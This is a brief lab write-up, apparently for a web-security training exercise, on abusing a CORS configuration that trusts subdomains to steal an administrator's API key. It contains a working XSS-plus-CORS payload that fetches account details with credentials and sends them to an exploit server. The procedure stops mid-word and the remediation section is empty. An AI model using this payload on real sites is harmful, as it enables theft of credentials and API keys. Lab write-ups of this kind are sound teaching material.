SCENARIO

The application has an insecure CORS configuration in it which forces the application to trust all internal network origins. We’ll try to exploit the vulnerability by getting the administrator’s API key.

**PROCEDURE**

1. Open the vulnerable applica

**PAYLOAD**

1. Origin: <http://subdomain.0a3a003f0447826980e421de003d0046.web-security-academy.net/>
2. <script>

document.location="http://stock.YOUR-LAB-ID.web-security-academy.net/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://YOUR-LAB-ID.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://YOUR-EXPLOIT-SERVER-ID.exploit-server.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1"

</script>

**REMEDIATION**